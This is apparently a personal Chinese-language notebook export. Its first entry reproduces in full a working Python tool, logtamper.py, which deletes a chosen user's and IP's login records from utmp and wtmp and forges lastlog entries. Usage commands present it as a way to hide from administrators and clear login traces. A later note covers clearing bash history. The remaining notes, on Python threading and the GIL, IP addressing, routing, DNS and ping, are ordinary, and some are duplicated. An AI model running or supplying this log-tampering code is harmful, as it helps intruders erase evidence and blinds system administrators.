0%

2019年12月23日 下午6:12

untitled.py
2019年12月25日 下午2:53
注:

  1. 验证ubuntu是可以使用的,但必须要有sudo权限才可以执行
  2. 由于python2->python3需要修改两处源码:
    1. print()
    • python3中默认的字符串为Unicode格式,而struct的函数中需要传的参数必须为“utf-8”格式,因此需要在文件开头手动声明编码格式“# coding = unf-8”
  3. 结合tty 或 ps命令,可得到tty这个参数的值

2019年12月23日 下午6:12
logtamper
logtamper/logtamper.py at master · re4lity/logtamper · GitHub

python修改linux日志(logtamper.py) - 轻轻的烟雾 - 博客园

躲避管理员who查看

1
python logtamper.py -m 1 -u username -i 192.168.0.188

清除指定ip的登录日志:删除全部这个ip相关的

1
python logtamper.py -m 2 -u username -i 192.168.0.188
1
sudo python logtamper.py -m 2 -u czh -i :0

修改上次登录时间地点

1
python logtamper.py -m 3 -u username -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12
1
sudo python logtamper.py -m 3 -u czh -i 192.168.143.1 -t pts/1 -d 2014:05:28:10:11:12

这里对-m参数补充说明一下:

-m 操作的模式 固定值,3个可选【1/2/3】
分别是

  • 1:修改当前登陆用户。
    • 日志文件:_var_log/wtmp
    • 查看命令: who
  • 2:清除登陆日志。
    • 日志文件:_var_run/utmp
    • 查看命令:last | more
  • 3、不是清除,是修改覆盖上次的登陆信息,要修改的用户为-u后面的参数,改为后面 -i -t -d的信息。所以,例如,想改root用户,则-u root,-i -t -d随便输入。
    • 日志文件:_var_log/lastlog
    • 查看命令:lastlog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# mail: cn.b4dboy@gmail.com

import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser

UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"

LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)

XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)

def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break

data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp

def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')

timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')

data = struct.pack(LAST_STRUCT, timestamp, ttyname.encode("utf-8"), hostname.encode("utf-8"))
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True

def showMessage(msg):
print(msg)
exit(-1)

def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()

if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188\n \
logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()

if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = UTMPFILE

# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)

elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = WTMPFILE

# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)

elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.\n')

if options.FILENAME == None:
options.FILENAME = LASTLOGFILE

# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)

else:
parser.print_help()

2019年12月23日 下午4:11

linux history(命令历史) - HowOldAreYou - 博客园

  1. vim ~/.bash_history
  2. history
    • -c该命令可以清空本次登入的所有输出命令,但不清空.bash_history文件,所以下次登陆后,旧命令还将出现,历史命令是存在于当前用户根目录下的./bash_history文件。
    • -w将本次登录的命令写入命令历史文件中, 默认写入~/.bash_history
    • -r将命令历史文件中的内容读入到目前shell的history记忆中
  3. 使用! 执行历史命令。
    1
    2
    3
      ! number 执行第几条命令
      ! command 从最近的命令查到以command开头的命令执行
      !! 执行上一条

#b计算机基础/c_计算机系统/整理
2019年12月22日 下午10:21

进程 vs. 线程 - 廖雪峰的官方网站

结论:

  1. 稳定性:进程 > 线程
  2. 创建的代价:进程 > 线程
  3. 执行速度:要根据操作系统判断
  4. 任务类型:计算密集型 vs. IO密集型
    • Python这样的脚本语言运行效率很低,完全不适合计算密集型任务。对于计算密集型任务,最好用C语言编写。

模块实现说明:

  1. 整个模块输入是以python启动的一个网络服务,其中使用的接口是http,接受的对象是json字符串,来接受画图的原始数据;由于考虑到可能会出现并发访问,所以每次画图都会新建一个线程来画图
  2. 出现的问题: 有时会出现原本画一个图只需要6s,但是偶然会出现40s的情况

原因分析:

  1. 多线程在Python中只能在一个核上交替执行:当发生并发访问时,此时会启动多个线程,在一个核心上不断的调度,分配时间片,这就会导致时间长很多。
  2. 理论分析:
    1. 多线程 - 廖雪峰的官方网站
    2. 因为Python的线程虽然是真正的线程,但解释器执行代码时,有一个GIL锁:Global Interpreter Lock, 任何Python线程执行前,必须先获得GIL锁,然后,每执行100条字节码,解释器就自动释放GIL锁,让别的线程有机会执行。 这个GIL全局锁实际上把所有线程的执行代码都给上了锁,所以,多线程在Python中只能交替执行,即使100个线程跑在100核CPU上,也只能用到1个核。
    3. python多线程代码运行速度更慢-原因解析
    4. 单核CPU机器上,多线程与单线程在本质上并无不同 ,因为所有线程都是轮流占用CPU。多个线程慢于一个线程,因为其他线程还要先调度出来,再等待。
    5. 多核CPU机器上,多线程代码运行性能会非常糟糕 ,比单核更糟糕。因为这时候多一个步骤,不同的CPU再竞争GIL,GIL只有一个。Python在多核CPU上的多核CPU也只有单线程在跑程序。

解决方法:python就不要使用多线程!!!

  1. 不使用多线程
    1. 绕过GIL,使用进程来代替线程:因为多个Python进程有各自独立的GIL锁,互不影响。
    2. 做一个队列,来获取得到的原始json数据,保存到队列中;再用一个线程/进程来循环访问队列(或者找到一种回调方式,当队列中有数据时按顺序回调画图函数)

#b计算机基础/c_计算机系统/整理
2019年12月22日 下午10:21

进程 vs. 线程 - 廖雪峰的官方网站

结论:

  1. 稳定性:进程 > 线程
  2. 创建的代价:进程 > 线程
  3. 执行速度:要根据操作系统判断
  4. 任务类型:计算密集型 vs. IO密集型
    • Python这样的脚本语言运行效率很低,完全不适合计算密集型任务。对于计算密集型任务,最好用C语言编写。

模块实现说明:

  1. 整个模块输入是以python启动的一个网络服务,其中使用的接口是http,接受的对象是json字符串,来接受画图的原始数据;由于考虑到可能会出现并发访问,所以每次画图都会新建一个线程来画图
  2. 出现的问题: 有时会出现原本画一个图只需要6s,但是偶然会出现40s的情况

原因分析:

  1. 多线程在Python中只能在一个核上交替执行:当发生并发访问时,此时会启动多个线程,在一个核心上不断的调度,分配时间片,这就会导致时间长很多。
  2. 理论分析:
    1. 多线程 - 廖雪峰的官方网站
    2. 因为Python的线程虽然是真正的线程,但解释器执行代码时,有一个GIL锁:Global Interpreter Lock, 任何Python线程执行前,必须先获得GIL锁,然后,每执行100条字节码,解释器就自动释放GIL锁,让别的线程有机会执行。 这个GIL全局锁实际上把所有线程的执行代码都给上了锁,所以,多线程在Python中只能交替执行,即使100个线程跑在100核CPU上,也只能用到1个核。
    3. python多线程代码运行速度更慢-原因解析
    4. 单核CPU机器上,多线程与单线程在本质上并无不同 ,因为所有线程都是轮流占用CPU。多个线程慢于一个线程,因为其他线程还要先调度出来,再等待。
    5. 多核CPU机器上,多线程代码运行性能会非常糟糕 ,比单核更糟糕。因为这时候多一个步骤,不同的CPU再竞争GIL,GIL只有一个。Python在多核CPU上的多核CPU也只有单线程在跑程序。

解决方法:python就不要使用多线程!!!

  1. 不使用多线程
    1. 绕过GIL,使用进程来代替线程:因为多个Python进程有各自独立的GIL锁,互不影响。
    2. 做一个队列,来获取得到的原始json数据,保存到队列中;再用一个线程/进程来循环访问队列(或者找到一种回调方式,当队列中有数据时按顺序回调画图函数)

2019年12月22日 下午4:30
内网IP 外网IP 网卡 路由器通信过程(全)

IPV4

  • IPV4就是4段,每段8位,用十进制数字表示,每段数字范围为0~255。如192.134.11.3。IP地址可以视为网络标识号码与主机标识号码两部分,因此IP地址可分两部分组成,一部分为网络地址,另一部分为主机地址。IP地址分为A、B、C、D、E5类, 它们适用的类型分别为:大型网络;中型网络;小型网络;多目地址;备用 。常用的是B和C两类。

    注:
  • 强调 : 全0和全1都不能代表主机号 因为 全0代表自己主机 全1代表广播地址*

局域网IP段:

#b计算机基础/c_计算机系统/a_linux指令
2019年12月22日 下午4:23

静态路由

局域网有两个网关,A和B,A开启DHCP,B关闭DHCP(从B网关出口上网的设备手动设置IP,网关指向B)

2019年12月22日 下午4:23

正文:

其实主要的内容是:


#b计算机基础/c_计算机系统/a_linux指令
2019年12月22日 下午4:23

静态路由

局域网有两个网关,A和B,A开启DHCP,B关闭DHCP(从B网关出口上网的设备手动设置IP,网关指向B)

2019年12月22日 下午4:23

正文:

其实主要的内容是:


2019年12月22日 下午4:21
讲解了DNS劫持和投毒

2019年12月22日 下午4:07
ping某个域名的详细过程

文字解释:

  • ICMP的一个重要应用就是分组网间探测PING(Packe InterNet Groper),用来测试主机之间的连通性。PING使用了ICMP回送请求与回送回答报文。PING是应用层直接使用网络层ICMP的一个例子,没有经过传输层的TCP或UDP。
  • ping某个域名相对于ping IP地址来说,多了一些步骤,主要用来获取域名对应的IP地址,整个过程如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    1、主机查找本地系统Hosts文件的DNS缓存,如果存在该域名对应的IP,则获取IP,跳转到第8步;如果不存在,则继续。
    2、主机向本网络路由器发起请求,查找路由DNS缓存,如果存在该域名对于的IP,则获取IP,跳转到第8步;如果不存在,则继续。
    3、路由器向本地ISP(互联网提供商)的DNS服务器发起请求,查找DNS服务器的缓存,如果存在该域名对应的IP,则跳转到第7步;如果不存在,则继续。
    4、本地DNS服务器向根域名服务器发起请求,根域名服务器告诉本地服务器,下一次应查询的顶级域名服务器dns.com的IP地址。
    5、本地域名服务器向顶级域名服务器dns.com进行查询,顶级域名服务器dns.com告诉本地域名服务器,下一步应查询的权限服务器dns.abc.com的IP地址。
    6、本地域名服务器向权限域名服务器dns.abc.com进行查询,权限域名服务器dns.abc.com告诉本地域名服务器,所查询的主机的IP地址。 
    7、本地域名服务器最后把查询结果——该域名对应的IP地址告诉给主机。
    8、至此,主机知道了该域名的IP地址。
    —————————————————(以上部分主要是根据域名获取对应的IP地址,涉及DNS)—————————————————

    9、主机通过子网掩码判断该IP地址是本网段还是跨网段,由于本网段比较简单,我们以跨网段进行讲解。
    10、主机先查看本地ARP高速缓存,查看表中是否有本网络路由器(网关)的MAC地址,如果有,则获取MAC地址,跳转到第12步;如果没有,则继续。
    11、主机使用ARP解析协议获取到本网段路由的MAC地址。
    12、至此,主机知道本网络一个路由的MAC地址。
    ————————————————(以上部分主要是获取本网络一个路由的MAC地址,涉及ARP)—————————————————

    13、主机将ICMP报文封装成IP数据报,IP数据报的源地址为主机的IP地址,目的地址是域名对应的IP地址;
    14、主机将IP数据报封装成MAC帧,MAC帧的源地址为主机的MAC地址,目的地址是路由器的MAC地址;
    12、路由器接收到ICMP报文之后,发现MAC帧的目的地址是自己,IP地址是主机想要访问的IP地址,则将MAC帧的源地址改为自己的MAC地址,目的地址改为本网段另一个路由的MAC地址(也要通过ARP协议获取),转发下去...
    13、直到最后一个路由根据ARP协议,找到了主机想要访问的IP地址对应的主机的MAC地址,然后将ICMP报文封装成MAC帧发送给该域名主机。
    14、由于ARP协议具有相互学习性,域名主机接收到主机发送的ICMP回送请求报文之后,将向本网络路由发送ICMP回送回答报文,该路由又会转发下去...
    15、当主机收到域名主机发送的ICMP回送回答报文之后,这样就表明该主机到域名主机是连通可达的。

图解: